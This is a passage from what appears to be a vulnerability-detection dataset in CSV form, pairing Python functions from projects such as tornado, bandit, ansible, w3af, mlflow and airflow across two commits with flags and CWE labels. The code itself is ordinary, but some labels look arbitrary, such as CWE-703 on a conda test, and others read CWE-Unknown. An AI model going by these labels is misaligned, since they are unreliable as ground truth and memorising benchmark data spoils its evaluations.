                                      to_native(e), exception=traceback.format_exc())
        try:
            f = open(self.HOSTNAME_FILE)
            try:
                return f.read().strip()
            finally:
                f.close()
        except Exception as e:
            self.module.fail_json(msg=""failed to read hostname: %s"" %
                                  to_native(e), exception=traceback.format_exc())"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/testing.py,0,"def tearDown(self):
        self.io_loop.clear_current()
        if (not IOLoop.initialized() or
                self.io_loop is not IOLoop.instance()):
            # Try to clean up any file descriptors left open in the ioloop.
            # This avoids leaks, especially when tests are run repeatedly
            # in the same process with autoreload (because curl does not
            # set FD_CLOEXEC on its file descriptors)
            self.io_loop.close(all_fds=True)
        super(AsyncTestCase, self).tearDown()",CWE-Unknown,tornadoweb/tornado,b3585b0e2c2082e140ab668843325b4276c207fa,"def tearDown(self):
        self.io_loop.clear_current()
        if (not IOLoop.initialized() or
                self.io_loop is not IOLoop.instance()):
            # Try to clean up any file descriptors left open in the ioloop.
            # This avoids leaks, especially when tests are run repeatedly
            # in the same process with autoreload (because curl does not
            # set FD_CLOEXEC on its file descriptors)
            self.io_loop.close(all_fds=True)
        super(AsyncTestCase, self).tearDown()"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/main.py,0,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [f.name for f in filter(lambda x:
                                                  hasattr(x.plugin,
                                                          '_accepts_baseline'),
                                                  extension_mgr.formatters)]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code security analyzer',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='*',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='find and process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='aggregate output by vulnerability (default) or by filename'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=3, type=int,
        help='maximum number of code lines to output for each issue'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help='optional config file to use for selecting plugins and '
             'overriding defaults'
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='profile to use (defaults to executing all tests)'
    )
    parser.add_argument(
        '-t', '--tests', dest='tests',
        action='store', default=None, type=str,
        help='comma-separated list of test IDs to run'
    )
    parser.add_argument(
        '-s', '--skip', dest='skips',
        action='store', default=None, type=str,
        help='comma-separated list of test IDs to skip'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help='report only issues of a given severity level or '
                        'higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)'
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='report only issues of a given confidence level or '
                        'higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)'
    )
    output_format = 'screen' if sys.stdout.isatty() else 'txt'
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default=output_format, help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '--msg-template', action='store',
        default=None, help='specify output message template'
                           ' (only usable with --format custom),'
                           ' see CUSTOM FORMAT section'
                           ' for list of available values',
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store', nargs='?',
        type=argparse.FileType('w'), default=sys.stdout,
        help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='output extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.add_argument(
        '--ignore-nosec', dest='ignore_nosec', action='store_true',
        help='do not skip lines with # nosec comments'
    )
    parser.add_argument(
        '-x', '--exclude', dest='excluded_paths', action='store',
        default='', help='comma-separated list of paths to exclude from scan '
                         '(note that these are in addition to the excluded '
                         'paths provided in the config file)'
    )
    parser.add_argument(
        '-b', '--baseline', dest='baseline', action='store',
        default=None, help='path of a baseline report to compare against '
                           '(only JSON-formatted files are accepted)'
    )
    parser.add_argument(
        '--ini', dest='ini_path', action='store', default=None,
        help='path to a .bandit file that supplies command line arguments'
    )
    python_ver = sys.version.replace('\n', '')
    parser.add_argument(
        '--version', action='version',
        version='%(prog)s {version}\n  python version = {python}'.format(
            version=bandit.__version__, python=python_ver)
    )

    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [""%s\t%s"" % (a[0], a[1].name) for a in
                   extension_mgr.plugins_by_id.items()]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append('%s\t%s' % (b['id'], b['name']))

    plugin_list = '\n\t'.join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent('''
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line},  {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3.4/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    ''')
    parser.epilog = dedent_text + ""\t{0}"".format(plugin_list)

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != 'custom' and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(args.excluded_paths,
                                                 ini_options.get('exclude'),
                                                 'excluded paths')

        args.skips = _log_option_source(args.skips, ini_options.get('skips'),
                                        'skipped tests')

        args.tests = _log_option_source(args.tests, ini_options.get('tests'),
                                        'selected tests')
        ini_targets = ini_options.get('targets')
        if ini_targets:
            ini_targets = ini_targets.split(',')
        args.targets = _log_option_source(args.targets, ini_targets,
                                          'selected targets')
        # TODO(tmcpeak): any other useful options to pass from .bandit?

    if not args.targets:
        LOG.error(""No targets found in CLI or ini files, exiting."")
        sys.exit(2)
    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile['include'].update(args.tests.split(',') if args.tests else [])
        profile['exclude'].update(args.skips.split(',') if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile=profile, verbose=args.verbose,
                                    ignore_nosec=args.ignore_nosec)

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except IOError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning('Baseline must be used with one of the following '
                        'formats: ' + str(baseline_formatters))
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(""running on Python %d.%d.%d"", sys.version_info.major,
                 sys.version_info.minor, sys.version_info.micro)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error('No tests would be run, please check the profile.')
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format,
                         args.msg_template)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,094a2d46374e71c2c3f5aa505acbc3014f4896f3,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [f.name for f in filter(lambda x:
                                                  hasattr(x.plugin,
                                                          '_accepts_baseline'),
                                                  extension_mgr.formatters)]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code security analyzer',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='*',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='find and process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='aggregate output by vulnerability (default) or by filename'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=3, type=int,
        help='maximum number of code lines to output for each issue'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help='optional config file to use for selecting plugins and '
             'overriding defaults'
    )
    parser.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='profile to use (defaults to executing all tests)'
    )
    parser.add_argument(
        '-t', '--tests', dest='tests',
        action='store', default=None, type=str,
        help='comma-separated list of test IDs to run'
    )
    parser.add_argument(
        '-s', '--skip', dest='skips',
        action='store', default=None, type=str,
        help='comma-separated list of test IDs to skip'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help='report only issues of a given severity level or '
                        'higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)'
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='report only issues of a given confidence level or '
                        'higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)'
    )
    output_format = 'screen' if sys.stdout.isatty() else 'txt'
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default=output_format, help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '--msg-template', action='store',
        default=None, help='specify output message template'
                           ' (only usable with --format custom),'
                           ' see CUSTOM FORMAT section'
                           ' for list of available values',
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store', nargs='?',
        type=argparse.FileType('w'), default=sys.stdout,
        help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='output extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.add_argument(
        '--ignore-nosec', dest='ignore_nosec', action='store_true',
        help='do not skip lines with # nosec comments'
    )
    parser.add_argument(
        '-x', '--exclude', dest='excluded_paths', action='store',
        default='', help='comma-separated list of paths to exclude from scan '
                         '(note that these are in addition to the excluded '
                         'paths provided in the config file)'
    )
    parser.add_argument(
        '-b', '--baseline', dest='baseline', action='store',
        default=None, help='path of a baseline report to compare against '
                           '(only JSON-formatted files are accepted)'
    )
    parser.add_argument(
        '--ini', dest='ini_path', action='store', default=None,
        help='path to a .bandit file that supplies command line arguments'
    )
    parser.add_argument(
        '--version', action='version',
        version='%(prog)s {version}'.format(version=bandit.__version__)
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [""%s\t%s"" % (a[0], a[1].name) for a in
                   extension_mgr.plugins_by_id.items()]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append('%s\t%s' % (b['id'], b['name']))

    plugin_list = '\n\t'.join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent('''
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line},  {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3.4/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    ''')
    parser.epilog = dedent_text + ""\t{0}"".format(plugin_list)

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != 'custom' and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(args.excluded_paths,
                                                 ini_options.get('exclude'),
                                                 'excluded paths')

        args.skips = _log_option_source(args.skips, ini_options.get('skips'),
                                        'skipped tests')

        args.tests = _log_option_source(args.tests, ini_options.get('tests'),
                                        'selected tests')
        ini_targets = ini_options.get('targets')
        if ini_targets:
            ini_targets = ini_targets.split(',')
        args.targets = _log_option_source(args.targets, ini_targets,
                                          'selected targets')
        # TODO(tmcpeak): any other useful options to pass from .bandit?

    if not args.targets:
        LOG.error(""No targets found in CLI or ini files, exiting."")
        sys.exit(2)
    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile['include'].update(args.tests.split(',') if args.tests else [])
        profile['exclude'].update(args.skips.split(',') if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                    profile=profile, verbose=args.verbose,
                                    ignore_nosec=args.ignore_nosec)

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except IOError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning('Baseline must be used with one of the following '
                        'formats: ' + str(baseline_formatters))
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(""running on Python %d.%d.%d"", sys.version_info.major,
                 sys.version_info.minor, sys.version_info.micro)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error('No tests would be run, please check the profile.')
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format,
                         args.msg_template)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def test_absolute_auth_redirect(self):
        response = self.fetch(self.get_url(""/absolute""), follow_redirects=False)
        self.assertEqual(response.code, 302)
        self.assertTrue(
            re.match(
                r""http://example.com/login\?next=http%3A%2F%2F127.0.0.1%3A[0-9]+%2Fabsolute"",
                response.headers[""Location""],
            ),
            response.headers[""Location""],
        )",CWE-Unknown,tornadoweb/tornado,1d18e5d0705a632db7683394b076322541cf428b,"def test_absolute_auth_redirect(self):
        response = self.fetch(self.get_url(""/absolute""), follow_redirects=False)
        self.assertEqual(response.code, 302)
        self.assertTrue(
            re.match(
                ""http://example.com/login\?next=http%3A%2F%2F127.0.0.1%3A[0-9]+%2Fabsolute"",
                response.headers[""Location""],
            ),
            response.headers[""Location""],
        )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/sanity/code-smell/use-argspec-type-path.py,0,"def main():
    skip = set([
        # add legitimate uses of expanduser to the following list
        'lib/ansible/modules/cloud/docker/docker_container.py',  # uses colon-separated paths, can't use type=path
        'lib/ansible/modules/cloud/lxc/lxc_container.py',
        'lib/ansible/modules/cloud/rackspace/rax_files_objects.py',
        'lib/ansible/modules/database/mongodb/mongodb_parameter.py',
        'lib/ansible/modules/database/mongodb/mongodb_user.py',
        'lib/ansible/modules/database/postgresql/postgresql_db.py',
        'lib/ansible/modules/files/synchronize.py',
        'lib/ansible/modules/source_control/git.py',
        'lib/ansible/modules/system/puppet.py',
        'lib/ansible/modules/utilities/logic/async_status.py',
        'lib/ansible/modules/utilities/logic/async_wrapper.py',
        'lib/ansible/modules/web_infrastructure/ansible_tower/tower_host.py',
        'lib/ansible/modules/web_infrastructure/ansible_tower/tower_group.py',
        'lib/ansible/modules/web_infrastructure/jenkins_plugin.py',
        'lib/ansible/modules/cloud/vmware/vmware_deploy_ovf.py',
        'lib/ansible/modules/crypto/certificate_complete_chain.py',  # would need something like type=list(path)
        'lib/ansible/modules/crypto/openssl_pkcs12.py',  # would need something like type=list(path)
        # fix uses of expanduser in the following modules and remove them from the following list
        'lib/ansible/modules/cloud/rackspace/rax.py',
        'lib/ansible/modules/cloud/rackspace/rax_scaling_group.py',
        'lib/ansible/modules/files/archive.py',
        'lib/ansible/modules/files/find.py',
    ])

    for path in sys.argv[1:] or sys.stdin.read().splitlines():
        if path in skip:
            continue

        with open(path, 'r') as path_fd:
            for line, text in enumerate(path_fd.readlines()):
                match = re.search(r'(expanduser)', text)

                if match:
                    print('%s:%d:%d: use argspec type=""path"" instead of type=""str"" to avoid use of `expanduser`' % (
                        path, line + 1, match.start(1) + 1))",,ansible/ansible,20eaebd9b2e86178fc9a4737b9a955fd326b5d2c,"def main():
    skip = set([
        # add legitimate uses of expanduser to the following list
        'lib/ansible/modules/cloud/docker/docker_container.py',  # uses colon-separated paths, can't use type=path
        'lib/ansible/modules/cloud/lxc/lxc_container.py',
        'lib/ansible/modules/cloud/rackspace/rax_files_objects.py',
        'lib/ansible/modules/database/mongodb/mongodb_parameter.py',
        'lib/ansible/modules/database/mongodb/mongodb_user.py',
        'lib/ansible/modules/database/postgresql/postgresql_db.py',
        'lib/ansible/modules/files/synchronize.py',
        'lib/ansible/modules/source_control/git.py',
        'lib/ansible/modules/system/puppet.py',
        'lib/ansible/modules/utilities/logic/async_status.py',
        'lib/ansible/modules/utilities/logic/async_wrapper.py',
        'lib/ansible/modules/web_infrastructure/ansible_tower/tower_host.py',
        'lib/ansible/modules/web_infrastructure/ansible_tower/tower_group.py',
        'lib/ansible/modules/web_infrastructure/jenkins_plugin.py',
        'lib/ansible/modules/cloud/vmware/vmware_deploy_ovf.py',
        'lib/ansible/modules/crypto/certificate_complete_chain.py',  # would need something like type=list(path)
        # fix uses of expanduser in the following modules and remove them from the following list
        'lib/ansible/modules/cloud/rackspace/rax.py',
        'lib/ansible/modules/cloud/rackspace/rax_scaling_group.py',
        'lib/ansible/modules/files/archive.py',
        'lib/ansible/modules/files/find.py',
    ])

    for path in sys.argv[1:] or sys.stdin.read().splitlines():
        if path in skip:
            continue

        with open(path, 'r') as path_fd:
            for line, text in enumerate(path_fd.readlines()):
                match = re.search(r'(expanduser)', text)

                if match:
                    print('%s:%d:%d: use argspec type=""path"" instead of type=""str"" to avoid use of `expanduser`' % (
                        path, line + 1, match.start(1) + 1))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/target.py,0,"def set_options(self, options_list):
        """"""
        This method sets all the options that are configured using the user
        interface generated by the framework using the result of get_options().

        :param options_list: A dictionary with the options for the plugin.
        :return: No value is returned.
        """"""
        configured_target_urls = options_list['target'].get_value()
        target_urls = []
        
        for target_url in configured_target_urls:

            self._verify_url(target_url)

            if not target_url.url_string.count('file:///'):
                # It's a common URL just like http://w3af.com/
                target_urls.append(target_url)
                
            else:
                try:
                    f = urllib2.urlopen(target_url.url_string)
                except:
                    msg = 'Cannot open target file: ""%s""'
                    raise BaseFrameworkException(msg % str(target_url))
                else:
                    for line in f:
                        target_in_file = line.strip()

                        # Empty lines are allowed
                        if not target_in_file:
                            continue

                        # Comments starting with # are allowed too
                        if target_in_file.startswith('#'):
                            continue

                        target_in_file_inst = URL(target_in_file)
                        self._verify_url(target_in_file_inst, file_target=False)
                        target_urls.append(target_in_file_inst)
                    f.close()

        # Now we perform a check to see if the user has specified more than
        # one target domain, for example: ""http://google.com, http://yahoo.com"".
        domain_list = [target_url.get_net_location() for target_url in
                       target_urls]
        domain_list = list(set(domain_list))
        
        if len(domain_list) > 1:
            msg = 'You specified more than one target domain: %s.'\
                  ' And w3af can only scan one target domain at a time.'
            raise BaseFrameworkException(msg % ', '.join(domain_list))

        # Save in the config, the target URLs, this may be useful for some
        # plugins
        cf.cf.save('targets', target_urls)
        cf.cf.save('target_domains', list(set([u.get_domain() for u in target_urls])))
        cf.cf.save('baseURLs', [i.base_url() for i in target_urls])

        if target_urls:
            sess_name = [x.get_domain() for x in target_urls]
            sess_name = u'-'.join(sess_name)
        else:
            sess_name = u'no_target'

        fmt = u'%s-%s'
        cf.cf.save('session_name', fmt % (sess_name,
                                          time.strftime('%Y-%b-%d_%H-%M-%S')))

        # Advanced target selection
        os = options_list['target_os'].get_value_str()
        if os.lower() in self._operating_systems:
            cf.cf.save('target_os', os.lower())
        else:
            msg = u'Unknown target operating system: ""%s""'
            raise BaseFrameworkException(msg % os)

        pf = options_list['target_framework'].get_value_str()
        if pf.lower() in self._programming_frameworks:
            cf.cf.save('target_framework', pf.lower())
        else:
            msg = u'Unknown target programming framework: ""%s""'
            raise BaseFrameworkException(msg % pf)",,andresriancho/w3af,44fe3f303897e68f17da17fb413a85643a9f3fae,"def set_options(self, options_list):
        """"""
        This method sets all the options that are configured using the user
        interface generated by the framework using the result of get_options().

        :param options_list: A dictionary with the options for the plugin.
        :return: No value is returned.
        """"""
        configured_target_urls = options_list['target'].get_value()
        target_urls = []
        
        for target_url in configured_target_urls:

            self._verify_url(target_url)

            if not target_url.url_string.count('file:///'):
                # It's a common URL just like http://w3af.com/
                target_urls.append(target_url)
                
            else:
                try:
                    f = urllib2.urlopen(target_url.url_string)
                except:
                    msg = 'Cannot open target file: ""%s""'
                    raise BaseFrameworkException(msg % str(target_url))
                else:
                    for line in f:
                        target_in_file = line.strip()

                        # Empty lines are allowed
                        if not target_in_file:
                            continue

                        # Comments starting with # are allowed too
                        if target_in_file.startswith('#'):
                            continue

                        target_in_file_inst = URL(target_in_file)
                        self._verify_url(target_in_file_inst, file_target=False)
                        target_urls.append(target_in_file_inst)
                    f.close()

        # Now we perform a check to see if the user has specified more than
        # one target domain, for example: ""http://google.com, http://yahoo.com"".
        domain_list = [target_url.get_net_location() for target_url in
                       target_urls]
        domain_list = list(set(domain_list))
        
        if len(domain_list) > 1:
            msg = 'You specified more than one target domain: %s.'\
                  ' And w3af can only scan one target domain at a time.'
            raise BaseFrameworkException(msg % ', '.join(domain_list))

        # Save in the config, the target URLs, this may be useful for some
        # plugins
        cf.cf.save('targets', target_urls)
        cf.cf.save('target_domains', list(set([u.get_domain() for u in target_urls])))
        cf.cf.save('baseURLs', [i.base_url() for i in target_urls])

        if target_urls:
            sess_name = [x.get_net_location() for x in target_urls]
            sess_name = '-'.join(sess_name)
        else:
            sess_name = 'noTarget'

        cf.cf.save('session_name', sess_name + '-' + time.strftime(
            '%Y-%b-%d_%H-%M-%S'))

        # Advanced target selection
        os = options_list['target_os'].get_value_str()
        if os.lower() in self._operating_systems:
            cf.cf.save('target_os', os.lower())
        else:
            msg = u'Unknown target operating system: ""%s""'
            raise BaseFrameworkException(msg % os)

        pf = options_list['target_framework'].get_value_str()
        if pf.lower() in self._programming_frameworks:
            cf.cf.save('target_framework', pf.lower())
        else:
            msg = u'Unknown target programming framework: ""%s""'
            raise BaseFrameworkException(msg % pf)"
,UNKNOWN,UNKNOWN,tests/models/test_cli.py,1,"def test_prepare_env_fails(sk_model):
    if no_conda:
        pytest.skip(""This test requires conda."")

    with TempDir(chdr=True):
        with mlflow.start_run() as active_run:
            mlflow.sklearn.log_model(sk_model, ""model"",
                                     conda_env={""dependencies"": [""mlflow-does-not-exist-dep==abc""]})
            model_uri = ""runs:/{run_id}/model"".format(run_id=active_run.info.run_id)

        # Test with no conda
        p = subprocess.Popen([""mlflow"", ""models"", ""prepare-env"", ""-m"", model_uri,
                              ""--no-conda""])
        assert p.wait() == 0

        # With conda - should fail due to bad conda environment.
        p = subprocess.Popen([""mlflow"", ""models"", ""prepare-env"", ""-m"", model_uri])
        assert p.wait() != 0",CWE-703,mlflow/mlflow,4debd38948b58fe4922d5c9dc990e4cecc17b49f,"def test_prepare_env_fails(sk_model):
    if no_conda:
        pytest.skip(""This test requires conda."")

    with TempDir(chdr=True):
        with mlflow.start_run() as active_run:
            mlflow.sklearn.log_model(sk_model, ""model"", conda_env={""env"": ""Bad conda env""})
            model_uri = ""runs:/{run_id}/model"".format(run_id=active_run.info.run_id)

        # Test with no conda
        p = subprocess.Popen([""mlflow"", ""models"", ""prepare-env"", ""-m"", model_uri,
                              ""--no-conda""], stderr=subprocess.PIPE)
        assert p.wait() == 0

        # With conda - should fail due to bad conda environment.
        p = subprocess.Popen([""mlflow"", ""models"", ""prepare-env"", ""-m"", model_uri],
                             stderr=subprocess.PIPE)
        assert p.wait() != 0"
,UNKNOWN,UNKNOWN,airflow/models/dagbag.py,1,"def process_file(self, filepath, only_if_updated=True, safe_mode=True):
        """"""
        Given a path to a python module or zip file, this method imports
        the module and look for dag objects within it.
        """"""
        from airflow.models.dag import DAG  # Avoid circular import

        found_dags = []

        # if the source file no longer exists in the DB or in the filesystem,
        # return an empty list
        # todo: raise exception?
        if filepath is None or not os.path.isfile(filepath):
            return found_dags

        try:
            # This failed before in what may have been a git sync
            # race condition
            file_last_changed_on_disk = datetime.fromtimestamp(os.path.getmtime(filepath))
            if only_if_updated \
                    and filepath in self.file_last_changed \
                    and file_last_changed_on_disk == self.file_last_changed[filepath]:
                return found_dags

        except Exception as e:
            self.log.exception(e)
            return found_dags

        mods = []
        is_zipfile = zipfile.is_zipfile(filepath)
        if not is_zipfile:
            if safe_mode:
                with open(filepath, 'rb') as file:
                    content = file.read()
                    if not all([s in content for s in (b'DAG', b'airflow')]):
                        self.file_last_changed[filepath] = file_last_changed_on_disk
                        # Don't want to spam user with skip messages
                        if not self.has_logged:
                            self.has_logged = True
                            self.log.info(
                                ""File %s assumed to contain no DAGs. Skipping."",
                                filepath)
                        return found_dags

            self.log.debug(""Importing %s"", filepath)
            org_mod_name, _ = os.path.splitext(os.path.split(filepath)[-1])
            mod_name = ('unusual_prefix_' +
                        hashlib.sha1(filepath.encode('utf-8')).hexdigest() +
                        '_' + org_mod_name)

            if mod_name in sys.modules:
                del sys.modules[mod_name]

            with timeout(configuration.conf.getint('core', ""DAGBAG_IMPORT_TIMEOUT"")):
                try:
                    m = imp.load_source(mod_name, filepath)
                    mods.append(m)
                except Exception as e:
                    self.log.exception(""Failed to import: %s"", filepath)
                    self.import_errors[filepath] = str(e)
                    self.file_last_changed[filepath] = file_last_changed_on_disk

        else:
            zip_file = zipfile.ZipFile(filepath)
            for mod in zip_file.infolist():
                head, _ = os.path.split(mod.filename)
                mod_name, ext = os.path.splitext(mod.filename)
                if not head and (ext == '.py' or ext == '.pyc'):
                    if mod_name == '__init__':
                        self.log.warning(""Found __init__.%s at root of %s"", ext, filepath)
                    if safe_mode:
                        with zip_file.open(mod.filename) as zf:
                            self.log.debug(""Reading %s from %s"", mod.filename, filepath)
                            content = zf.read()
                            if not all([s in content for s in (b'DAG', b'airflow')]):
                                self.file_last_changed[filepath] = (
                                    file_last_changed_on_disk)
                                # todo: create ignore list
                                # Don't want to spam user with skip messages
                                if not self.has_logged:
                                    self.has_logged = True
                                    self.log.info(
                                        ""File %s assumed to contain no DAGs. Skipping."",
                                        filepath)

                    if mod_name in sys.modules:
                        del sys.modules[mod_name]

                    try:
                        sys.path.insert(0, filepath)
                        m = importlib.import_module(mod_name)
                        mods.append(m)
                    except Exception as e:
                        self.log.exception(""Failed to import: %s"", filepath)
                        self.import_errors[filepath] = str(e)
                        self.file_last_changed[filepath] = file_last_changed_on_disk

        for m in mods:
            for dag in list(m.__dict__.values()):
                if isinstance(dag, DAG):
                    if not dag.full_filepath:
                        dag.full_filepath = filepath
                        if dag.fileloc != filepath and not is_zipfile:
                            dag.fileloc = filepath
                    try:
                        dag.is_subdag = False
